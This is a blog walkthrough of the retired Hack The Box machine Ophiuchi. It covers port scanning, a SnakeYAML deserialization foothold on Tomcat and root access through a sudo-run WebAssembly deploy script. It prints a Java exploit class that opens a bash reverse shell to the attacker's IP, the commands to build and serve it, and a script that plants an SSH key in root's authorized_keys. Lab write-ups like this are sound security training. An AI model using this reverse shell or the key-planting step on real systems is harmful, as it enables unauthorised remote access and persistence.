This post documents the complete walkthrough of Ophiuchi, a retired vulnerable VM created by felamos, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Ophiuchi is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.227 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-02-15 10:13:11 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.227
Discovered open port 8080/tcp on 10.10.10.227

Nothing interesting at this point in time. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,8080 -A --reason 10.10.10.227 -oN nmap.txt
...
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    syn-ack ttl 63 Apache Tomcat 9.0.38
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Parse YAML

Well, the only “interesting” service is http. This is what it looks like.

SnakeYAML Deserialization

See what happens when you POST to /Servlet with nothing.

This is what you get.

Looks like the YAML Parser is using SnakeYAML, which is susceptible to a deserialization attack. Check out this YAML payload.

The moment I hit the Parse button, this appears on my netcat listener.

Foothold

Taking a leaf from above attack, this is my exploit. I’m running a reverse shell back to myself.

AwesomeScriptEngineFactory.java
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            String[] cmd = { "/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.68/1234 0>&1" };
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

Run the following commands.

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf evil.jar -C src/ .
python3 -m http.server 80

And use the following YAML payload.

The moment I hit the Parse button, a shell appears on my netcat listener!

From tomcat to admin

During enumeration of tomcat’s account, I notice the presence of another account, admin.

On top of that, I found a password (whythereisalimit) in tomcat-users.xml.

This happens to be the password of admin! The file user.txt is in admin’s home directory.

Privilege Escalation

During enumeration of admin’s account, I notice that admin is able to sudo the following.

On top of that, PasswordAuthentication is set to yes, so armed with admin’s password (whythereisalimit) we can simply use SSH to log in.

The WebAssembly Binary Toolkit

First up, let’s check out what’s in /opt/wasm-functions/index.go.

We can see that main.wasm is read from the current directory to import the info() function. And if info() returns 1, the script deploy.sh at the current directory is run by /bin/sh. Anything else, “Not ready to deploy” is printed to stdout. Let’s give that a shot at /home/admin and see what we get.

Now, do the same thing at /opt/wasm-functions.

wasm2wat

wasm2wat is a tool from the WebAssembly Binary Toolkit to translate the WebAssembly binary format to WebAssembly text format. Suffice to say, I’ve already scp‘d a copy of main.wasm to my machine for further analysis. Kali Linux already has a wabt package, you just need to install it. :cool:

We can see that the exported info() function always return 0.

wat2wasm

Here’s the game plan.

1) Modify main.wat such that info() function returns 1.

2) Translate main.wat (in WebAssembly text format) to main.wasm (in WebAssembly binary format).

3) Upload main.wasm and deploy.sh to somewhere writable, e.g. /var/tmp.

The script deploy.sh can be anything that helps get that root shell. It can be as simple as this.

deploy.sh
#!/bin/bash

mkdir -p /root/.ssh
echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICpCJoPyF7obqHBU1n+hWl0iUTel5NhNaujYf2WQa1gt >> /root/.ssh/authorized_keys

Here’s the game plan in action.

Bombs away…

Where’s my root shell?

Getting root.txt with a root shell is trivial.

:dancer: